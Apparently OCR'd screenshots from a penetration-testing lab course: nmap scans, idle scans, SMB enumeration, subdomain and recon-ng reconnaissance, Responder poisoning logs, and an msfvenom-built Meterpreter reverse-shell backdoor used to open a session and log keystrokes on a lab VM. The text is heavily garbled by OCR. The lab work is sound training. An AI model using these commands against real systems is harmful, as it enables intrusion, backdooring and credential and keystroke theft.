Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)
Too many fingerprints match this host to give specific 05 details

Network Distance: 1 hop

TRACEROUTE
HOP RTT  ADDRESS
1 0.19 ms 10.0.2.9

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 22.21 seconds
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[(ali®kati)-[~]
$ nmap -sX -T3 10.0.2.9

[sudo] password for kali:

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14318 EST

Nmap scan report for 10.0.2.9

Host is up (0.00020s latency).

ALL 1000 scanned ports on 10.0.2.9 are in ignored states.

Not shown: 1000 open|iltered tcp ports (no-response)

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 34.34 seconds

[(ali®kati)-[~]

$ sudo nmap -sX -T3 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:19 EST
Nmap scan report for 10.0.2.9

Host is up (0.00013s latency).

ALL 1000 scanned ports on 10.0.2.9 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:3E:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 15.57 seconds

E(kl\i@ kali)-[~]
$ sudo nmap -sX -T4 10.0.2.9
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:20 EST
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[(ali®kati)-[~]
$ nmap -sX -T3 10.0.2.9

[sudo] password for kali:

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14318 EST
Nmap scan report for 10.0.2.9

Host is up (0.00020s latency).

ALL 1000 scanned ports on 10.0.2.9 are in ignored states.

Not shown: 1000 open|iltered tcp ports (no-response)

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 34.34 seconds

[(ali®kati)-[~]

$ sudo nmap -sX -T3 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:19 EST
Nmap scan report for 10.0.2.9

Host is up (0.00013s latency).

ALL 1000 scanned ports on 10.0.2.9 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:3E:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 15.57 seconds

[(ali®kati)-[~]

$ sudo nmap -sX -T4 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:20 EST
Nmap scan report for 10.0.2.9

Host is up (0.00030s latency).

ALL 1000 scanned ports on 10.0.2.9 are in ignored states.

Not shown: 1000 closed tcp ports (reset)

MAC Address: 08:00:27:3E:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 15.45 seconds

[(ali®kati)-[-]

$ sudo nmap 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:27 EST
Nmap scan report for 10.0.2.9

Host is up (0.00015s latency).

Not shown: 995 closed tcp ports (reset)

PORT  STATE SERVICE

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 23.77 seconds
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MAC Address: 08:00:27:3E:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 23.77 seconds

QUITTING!

—(kali® kali)-[~]
~$ nmap -su -T5 10.0.2.9
You requested a scan type which requires root privileges.

r—(kali® kali)-[~]
$ sudo nmap -suU -T5 10.0.2.9

lali@kali: ~

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:33 EST
Warning: 10.0.2.9 giving up on port because retransmission cap hit (2)
Nmap scan report for 10.0.2.9
Host is up (0.00037s latency).
Not shown: 533 closed udp ports (port-unreach), 466 open|filtered udp ports (no-response)
PORT  STATE SERVICE

137/udp open

netbios-ns

MAC Address: 08:00:27:3E:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 24.79 seconds

[lati®kati)-[~]
$ sudo nmap -sU -T3 10.0.2.9
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:34 EST

Stats: 0:02:09 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan

UDP Scan Timing: About 74.37% done; ETC: 14:37

:00:40 remaining)

Stats: 0:02:11 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 75.27% done; ETC: 14:37 (0:00:39 remaining)
Nmap scan report for 10.0.2.9

Host is up (0.00021s latency).

Not shown: 985 closed udp ports (port-unreach)

PORT
123/udp
137/udp
138/udp
161/udp
500/udp
657/udp
1900/udp
3389/udp
4500/udp
5050/udp
5353/udp
5355/udp
44160/udp
51456/udp
54281/udp

STATE
open| filtered
open

open| filtered
open| filtered
open| filtered
open| filtered
open| filtered
open| filtered
open| filtered
open| filtered
open| filtered
open| filtered
open| filtered
open| filtered
open| filtered

SERVICE
ntp
netbios-ns
netbios-dgn
snmp

isakmp

nc

upnp
ms-wbt-server
nat-t-ike
mncc
zeroconf
Tlmnr
unknown
unknown
unknown

MAC Address: 08:00:27:3E:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 187.76 seconds
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UDP Scan Timing: About 74.37% done; ETC: 14:37 (0:00:40 remaining)
Stats: 0:02:11 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 75.27% done; ETC: 14:37 (0:00:39 remaining)
Nmap scan report for 10.0.2.9

Host is up (0.00021s latency).

Not shown: 985 closed udp ports (port-unreach)

PORT STATE SERVICE
123/udp  openl filtered ntp
137/udp  open netbios-ns

138/udp  open| filtered netbios-dgm
161/udp  open|Filtered snmp

500/udp  open| filtered isakmp
657/udp  openl|Filtered rmc

1900/udp open| Filtered upnp

3389/udp open| filtered ms-wbt-server
4500/udp open| filtered nat-t-ike
5050/udp open| Filtered mmcc
5353/udp open| filtered zeroconf
5355/udp open| filtered llmnr
44160/udp open| Filtered unknown
51456/udp open| Filtered unknown
54281/udp open| filtered unknown

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 187.76 seconds

E(kl\i@ kali)-[~]

$ sudo nmap -Pn -p 80 -sI 10.0.2.8 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:39 EST
Idle scan using zombie 10.0.2.8 (10.0.2.8:80); Class: Incremental
Nmap scan report for 10.0.2.9

Host is up (0.0065s latency).

PORT  STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:3£:29:59 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.97 seconds

E(kl\i@ kali)-[~]

$ sudo nmap -Pn -p 80 -sI 10.0.2.9 10.0.2.8

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14140 EST
Idle scan using zombie 10.0.2.9 (10.0.2.9:80); Class: Incremental
Nmap scan report for 10.0.2.8

Host is up (0.0066s latency).

PORT  STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:17:9E:FD (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.95 seconds
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44160/udp open| filtered unknown
51456/udp open| filtered unknown
54281/udp open| filtered unknown
MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 187.76 seconds
[(ali®kati)-[~]

$ sudo nmap -Pn -p 80 -sI 10.0.2.8 10.0.2.9
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:39 EST
Idle scan using zombie 10.0.2.8 (10.0.2.8:80); Class: Incremental
Nmap scan report for 10.0.2.9
Host is up (0.0065s latency).
PORT  STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.97 seconds
[(ali®kati)-[~]

$ sudo nmap -Pn -p 80 -sI 10.0.2.9 10.0.2.8
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:40 EST
Idle scan using zombie 10.0.2.9 (10.0.2.9:80); Class: Incremental
Nmap scan report for 10.0.2.8
Host is up (0.0066s latency).
PORT  STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:17:9E:FD (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.95 seconds
—(kali® kali)-[~]
% sudo nmap -Pn -p 80 -sI 10.0.2.9 10.0.2.8
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:44 EST
Idle scan zombie 10.0.2.9 (10.0.2.9) port 80 cannot be used because it has not returned any of our probes — perhaps it is down or firewalled.

QUITTING!

—(kali® kali)-[~]

% sudo nmap -Pn -p 80 -sI 10.0.2.8 10.0.2.9

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14145 EST
Idle scan using zombie 10.0.2.8 (10.0.2.8:80); Class: Incremental
Nmap scan report for 10.0.2.9

Host is up (0.0065s latency).

PORT  STATE SERVICE
80/tcp open http

MAC Address: 08:00:27:3€:29:59 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.95 seconds
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[(etiokt
$ nmap 10.0.2.%
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14:49 EST
Nmap scan report for 10.0.2.8

Host is up (0.00047s latency).

Nmap scan report for 10.0.2.9

Host is up (0.00043s latency).

Nmap scan report for 10.0.2.10

Host is up (0.00046s latency).

Nmap scan report for 10.0.2.15

Host is up (0.00015s latency).

Nmap done: 256 IP addresses (4 hosts up) scanned in 15.92 seconds

—(kali® kali)-[~]

Ls ping 10.0.2.9

PING 10.0.2.9 (10.0.2.9) 56(84) bytes of data.

“c

— 10.0.2.9 ping statistics —

42 packets transmitted, 0 received, 100% packet loss, time 41985ms

—(kali® kali)-[~]

Ls ping 10.0.2.9

PING 10.0.2.9 (10.0.2.9) 56(84) bytes of data.

“c

— 10.0.2.9 ping statistics —

5 packets transmitted, @ received, 100% packet loss, time 4102ms

—(ali® kali)-[~]

L-$ nmap -sP 10.0.2.%

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 14352 EST
Nmap scan report for 10.0.2.8

Host is up (0.00036s latency).

Nmap scan report for 10.0.2.9

Host is up (0.00032s latency).

Nmap scan report for 10.0.2.10

Host is up (0.00053s latency).

Nmap scan report for 10.0.2.15

Host is up (0.00013s latency).

Nmap done: 256 IP addresses (4 hosts up) scanned in 16.42 seconds

—(kali® kali)-[~]

Ls ping 10.0.2.8

PING 10.0.2.8 (10.0.2.8) 56(84) bytes of data.

64 bytes from 10.0.2.8: icmp_seq-1 tt1-128 time-0.285 ms
“c

— 10.0.2.8 ping statistics —

1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 0.285/0.285/0.285/0.000 ms

—(kali® kali)-[~]
1
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owasp.org
171777 Il vs.3.0
2 |
[N R i Vs |
P AT O CE QD
TN\ LN/ \, [AVANRSEVAR VP |
N —
[
local: google: @ | duckduckgo: @ | virustotal: @
Wordlist: Target: Ip:
20:16:36
I Ip address Code Subdomain Server

Real hostname

(ctrlsc) | 8.86% | bibliotecadigital.owasp.org
104.22.26.77 525 calendar.owasp.org cloudflare

(ctrlec) | 14.2% | cisco-capwap-controller.owasp.org
(ctrlec) | 14.3% | cisco-luapp-controller.owasp.org
(ctrisc) | 14.8% | cloudflare-resolve-to.owasp.org

104.22.26.77 globaledge-envoy
(ctrlec) | 21.6% | dev-chat-service.owasp.org

(ctrlec) | 23.6% | domain-controller.owasp.org

(ctrlec) | 23.7% | domaincontroller.owasp.org

(ctrlec) | 23.7% | domaincontrolpanel.owasp.org

(ctrlsc) | 23.7% | domainmanagement.owasp.org

(ctrlec) | 27.1% | enterpriseenrollment.owasp.org

(ctrlec) | 27.1% | enterpriseregistration.owasp.org

(ctrlsc) | 27.1% | entrepreneurship.owasp.org
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Metasploit tip: You can pivot connections over sessions
started with the ssh_login modules
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell reverse_tcp
msf6 exploit(ii i/ ionilcr) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD = windows/meterpreter/reverse_tcp

msf6 exploit(i i@ /iondler) > set LHOST 10.0.2.15
LHOST = 10.0.2.15

msf6 exploit(i o /ioidier) > exploit -j -z

Exploit running as background job 0.
Exploit completed, but no session was created

Started reverse TCP handler on 10.0.2.15:4444
msf6 exploit(iilti/handler) > [+] Sending stage (175686 bytes) to 10.0.2.8

Meterpreter session 1 opened (10.0.2.15:4444 — 10.0.2.8:8924) at 2023-01-05 08:23:53 -0500
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Id Name Type Information Connection
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Metasploit tip: Enable HTTP request and response logging
with
Metasploit Documentation: https://docs.metasploit.con/
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exec: msfvenom -p windows/meterpreter/reverse_tcp --platforn windows -a x86
.15 -f exe > /home/kali/desktop/MyBackdoor.exe

sh: 1: cannot create /home/kali/desktop/MyBackdoor.exe: Directory nonexistent
nsf6 > msfvenom -p windows/meterpreter/reverse_tcp —platform windows -a x86 -e
—F exe > /home/kali/Desktop/MyBackdoor . exe
exec: msfvenom -p windows/meterpreter/reverse_tcp —platforn windows -a x86
.15 -f exe > /home/kali/Desktop/MyBackdoor .exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions
Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration-0)

x86/shikata_ga_nai chosen with final size 381

payload size: 381 bytes

Final size of exe file: 73802 bytes
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Started reverse TCP handler on 10.0.2.15:4444

msf6 exploit(iilii/handleor) > [+] Sending stage (175686 bytes) to 10.0.2.8
Meterpreter session 1 opened (10.0.2.15:4444 — 10.0.2.8:8924) at 2023-

sessions -1

Active sessions

Id Name Type Information Connection

1 meterpreter x86/windows WINDOWS10\User @ WINDOWS10 10.0.2.

msf6 exploit(yulti/handler) > sessions ~i 1
Starting interaction with 1

meterpreter > getuid
Server username: WINDOWS10\User
meterpreter > hashdump
N ' priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrec:
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > keyscan_dump
Dumping captured keystrokes .
| stdapi_ui_get_keys utfs: Operation failed: Incorrect function
meterpreter > keyscan_start
Starting the keystroke sniffer
Al meterpreter > keyscan_dump
Dumping captured keystrokes ...
notepad<cr>
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(kali® kali)-[~]

nmap -Pn -A 192.168.200.71
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-30 09:50 EST
Nmap scan report for 192.168.200.71
Host is up (0.0053s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp  open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp  open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: CISCO)
49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC

Service Info: Host: CYBERSEC-W7PRO1; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| _clock-skew: mean: -21s, deviation: @s, median: -22s

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

|_nbstat: NetBIOS name: CYBERSEC-W7PRO1, NetBIOS user: <unknown>, NetBIOS MAC: f8:b1:56:b4:86:26 (Dell)
| smb2-security-mode:

I 2.

I_ Message signing enabled but not required

| smb2-time:

| date: 2022-11-30T14:51:37

|_ start_date: 2022-11-22T14:31:30

| smb-os-discovery:

| 0S: windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| 0S CPE: cpe:/o:microsoft:windows_7::spl:professional

|  Computer name: CyberSec-W7Prol

I NetBIOS computer name: CYBERSEC-W7PRO1\x00

| workgroup: CISCO\x0@

|_ System time: 2022-11-30T14:51:37+0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.59 seconds
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at M.onMouseMove (content script.js:22496:28) N
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ssus | Tenal X Nessus Expert / Settings = X

Koperable program or batch file.

C:\Users\s1908119>nbtstat -a 192.168.200.71

Ethernet 3:
Node IpAddress: [192.168.1.10] Scope Id: []

Host not found.

Ethernet 2:
Node IpAddress: [172.29.1.46] Scope Id: []

Host not found.

Ethernet:
istNode IpAddress: [192.168.200.222] Scope Id: []

) NetBIOS Remote Machine Name Table
ith
Name Type Status
j CYBERSEC-W7PR01<00> UNIQUE Registered
CISCo <00> GROUP Registered
CYBERSEC-W7PR01<20> UNIQUE Registered
CISCo <1E> GROUP Registered

MAC Address = F8-B1-56-B4-86-26

C:\Users\s1908119>

MEMODY | ICACE HICTADY
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$ enum4linux -a 192.168.200.71
Starting enum4linux v@.9.1 ( http://labs.portcullis.co.uk/application/enumélinux/ ) on Wed Nov 30 09:36:32 2022

( Target Information )

Target ...
RID Range
Username .
Password .
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

( Enumerating Workgroup/Domain on 192.168.200.71 )

[+] Got domain/workgroup name: CISCO

( Nbtstat Information for 192.168.200.71 )

Looking up status of 192.168.200.71
CYBERSEC-W7PRO1 <00:

M <ACTIVE> Workstation Service

CISCO <00> - <GROUP> M <ACTIVE> Domain/Workgroup Name
CYBERSEC-W7PRO1 <20> - M <ACTIVE> File Server Service
CIsco <le> - <GROUP> M <ACTIVE> Browser Service Elections

MAC Address = F8-B1-56-B4-86-26
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(kali® kali)-[~]
Q nmap -Pn --script vuln 192.168.200.71
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-30 09:56 EST
Nmap scan report for 192.168.200.71
Host is up (0.0061s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp  open msrpc
139/tcp open netbios-ssn
445/tcp  open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

Host script results:

| _smb-vuln-ms10-054: false

| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

| _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

Nmap done: 1 IP address (1 host up) scanned in 116.75 seconds

(kali® kali)-[~]
[y
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3091 2310.475100  192.168.200.71  226.0.0.252 LUBR 78 Standard query 0xdd23 A CYBERSEC-H7 4
Ja95 2310.483505  192.168.200.71  224.0.0.252 LUNR 78 Standard query 0x137e AMMA CYBERSEC 474
3096 2310.48606) 190.163.200.71  192.165.200.255 NSNS 92 llame query N CYBERSEC M-HP<20>
3499 2314.506076  192.168.20071  226.0.0.252 LUBR 78 Standard query Gx35¢7 A CYBERSEC-H7 4
23928 2765564821 192.166.200.71  192.165.200.255  BROWSER 243 Host Amnouncement CYBERSECWIPROL, Horkstation, Server, NT
23669 3034543765 192.166.200.71  220.0.0.252 LUBR 78 Standard query Oxf6d8 A CYBERSEC-47 1
23673 3034547786 192.166.200.71  220.0.0.252 LUBR 78 Standard query 0x650a AAMA CYBERSEC 47-HP
23678 3034.551105  192.165.200.71  192.165.200.255  NBUS 92 Name query o CYBERSEC-WP-HPe20>
23677 3034.570670  192.166.200.71  220.0.0.252 LUBR 78 Standard query Oxdé? A CYBERSEC-H7 4

Total Length: 60
Identification: @x0228 (552)
Flags: 0x0

...0 0000 @000 0000 = Fragment Offset: 0

Tine to Live: 1
Protocol: UDP (17)

Header Checksum: 0x4d9d [validation disabled]
[Header checksum status: Unverified]

Source Address: 192.168.200.71

Destination Address: 224..0

252

v User Datagram Protocol, Src Port: 51689, Dst Port: 5355

Source Port: 51089
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Nmap done: 1 IP address (1 host up) scanned in 2
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linw virtualbox-amd64 [Running] - Oracle VM VirtualBox
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fe80::81d:c375:19b3:3F31 for name CYBERSEC-W/-HP

32 11/30/2022 06:48:52 PM - [*] [LLMNR] Poisoned answer sent to
fe80::81d:c375:19b3:3F31 for name CYBERSEC-W/-HP

33 11/30/2022 06:48:52 PM - [+] [LLMNR] Poisoned answer sent to 192.
for name CYBERSEC-W7-HP =

34 11/30/2022 06:48:52 PM - [*] [LLANR] Poisoned answer sent to EESEERRIE]
fe80::81d:c375:19b3:3F31 for name CYBERSEC-W7-HP -

35 11/30/2022 06:48:52 PM - [*] [NBT-NS] Poisoned answer sent to 192.168.200.71 =
for name CYBERSEC-W7-HP (service: File Server) -

36 11/30/2022 06:49:22 PM - [*] [LLMNR] Poisoned answer sent to
fe80::81fd:c375:19b3:3f31 for name CYBERSEC-W7-HP s

| 37 11/30/2022 06:49:22 PM - [*] [LLMNR] Poisoned answer sent to 192.168.200.71 -
for name CYBERSEC-W7-HP

38 11/30/2022 06:49:22 PM - [*] [LLMNR] Poisoned answer sent to .
fe80::81fd:c375:19b3:3F31 for name CYBERSEC-W7-HP Desites

Exiting ...
Responder-

39 11/30/2022 06:49:22 PM - [+] [NBT-NS] Poisoned answer sent to 192.168.200.71
for name CYBERSEC-W7-HP (service: File Server) File System

40 11/30/2022 06:49:22 PM - [+] [NBT-NS] Poisoned answer sent to 192.168.200.71 T
for name CYBERSEC-W7-HP (service: File Server)

4111/30/2022 06:49:22 PM - [+] [NBT-NS] Poisoned answer sent to 192.168.200.71 [ Browse Network
for name CYBERSEC-W7-HP (service: File Server)

42 11/30/2022 ©6:49:22 PM - [*] [LLMNR] Poisoned answer sent to
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2 0m0| & G

ali@kal

File Actions Edit View Help

I3 | autodiscover.outlook.con | 52.97.211.120 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| & | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
s | autod.ha-autod.office.com | 40.99.151.136 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
16 | autod.ms-acdc-autod.office.com | 52.97.202.104 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
I 7 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts

F 18 | autodiscover.itsecgames.con | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
I 9 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 10 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 11 | database. itsecgames.con | 81.82.245.81 | Kortrijk, Flanders | Belgiun | 50.8279914855957 | 3.26502990722656 | | brute_hosts
| 12 | mme-srv-dci.itsecganes.com | 10.0.1.10 | | | | | | brute_hosts
| 13 | dc.itsecgames.com | 10.0.1.10 | | | | | | brute_hosts
| 26 | dc.itsecgames.com | 10.0.1.10 | | | | | | brute_hosts
| 15 | dns.itsecgames.con | 81.82.245.81 | Kortrijk, Flanders | Belgiun | 50.8279914855957 | 3.26502990722656 | | brute_hosts
| 16 | firewall.itsecgames.con | 176.95.65.18 | Kempen, North Rhine-Westphalia | Germany | 51.3632507324219 | 6.41824007034302 | | brute_hosts
| 17 | ldap.itsecgames.con | 10.0.1.10 ] | | | | | brute_hosts
| 18 | ldap.itsecgames.con | 10.0.1.10 | | | | | | brute_hosts
| 19 | mssql.itsecgames.com | 81.82.245.81 | Kortrijk, Flanders | Belgiun | 50.8279914855957 | 3.26502990722656 | | brute_hosts
| 20 | vpn.itsecgames.con | 176.95.65.18 | Kempen, North Rhine-Westphalia | Germany | 51.3632507324219 | 6.41824007034302 | | brute_hosts

Ne |21 | vpn.itsecgames.com | 176.95.65.18 | Kempen, North Rhine-Westphalia | Germany | 51.3632507324219 | 6.41824007034302 | | brute_hosts
| 22 | itsecgames.con | 31.3.96.40 | Diemen, North Holland | Netherlands | 52.3090515136719 | 4.94018983840942 | | brute_hosts
| 23 | autodiscover.certifiedhacker.com | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 24 | blog.certifiedhacker.com | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 25 | events.certifiedhacker.com | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 26 | certifiedhacker.con | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
|27 | ftp.certifiedhacker.com | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 28 | ftp.certifiedhacker.com | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 29 | mail.certifiedhacker.con | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 30 | imap.certifiedhacker.con | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
I 31 | imap.certifiedhacker.con | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
|32 | localhost.certifiedhacker.con | 127.0.0.1 | | | | | | brute_hosts
| 33 | mail.certifiedhacker.con | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 36 | news.certifiedhacker.con | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
I 35 | smtp.certifiedhacker.con | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
I 36 | smtp.certifiedhacker.con | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 37 | webmail.certifiedhacker.com | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 38 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 39 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 4 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 41 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 42 | pop.certifiedhacker.com | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 43 | pop.certifiedhacker.com | 162.241.216.11 | Provo, Utah | United States | 40.2158012390137 | -111.612426757813 | | brute_hosts
| 4 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 45 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 46 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 47 | autodiscover.itsecgames.com | 40.100.174.232 | Canning Town, England | United Kingdom | 51.5122184753418 | | | brute_hosts
| 48 | autodiscover.outlook.con | 52.98.145.120 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 49 | autodiscover.outlook.con | 40.99.205.120 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 50 | autodiscover.outlook.con | 52.97.208.40 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 51 | autodiscover.itsecgames.com | 52.98.207.136 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 52| autodiscover.itsecgames.com | 40.99.151.136 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 53 | autodiscover.itsecgames.com | 52.97.241.168 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 54 | autod.ha-autod.office.com | 40.99.151.152 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 55 | autod.ha-autod.office.com | 52.97.133.216 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 56 | autod.ha-autod.office.com | 52.97.129.248 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 57 | autod.ms-acdc-autod.office.com | 52.97.208.56 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 58 | autod.ms-acdc-autod.office.com | 52.97.129.72 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 59 | autod.ms-acdc-autod.office.com | 52.98.224.168 | Canning Town, England | United Kingdom | 51.5122184753418 | | | resolve
| 60 | web.nmebyba.com | 31.3.96.60 | | | | | | reverse_resolve
| 61 | box5331.bluchost.com | 162.241.216.11 | | | | | | reverse_resolve
| 62 | ds152f551.static.telenet.be | 81.82.245.81 | | | | | | reverse_resolve

62 rows returned
[recon-ng][ACCB6000] [reverse_resolve] > I
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What are the other TCP flags? List out the commands to send other TCP flags,
execute the commands and capture the outputs. Write a brief note to reflect :.
your understanding on using HPING to send TCP flags. Include what is the a
purpose, what intelligence did you gather etc =
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-H —ipproto

-C —-icmptype

-k —-icmpcode
- force-icmp
—icmp-gw
—icmp-ts
—icmp-addr
—icmp-help

UDP/TCP,

-s -baseport

-p --destport

-k —keep

W —win

-0 —tcpoff

-Q —-seqnum

b —badcksum

M —setseq
-L —setack
-F —fin
-5 —syn
R —rst
-P —push
-A —-ack
U —-urg
X —xmas
-Y —ymas
—tcpexitcode
—tcp-nss

— tep-timestamp
Common

-d —data
-E —file

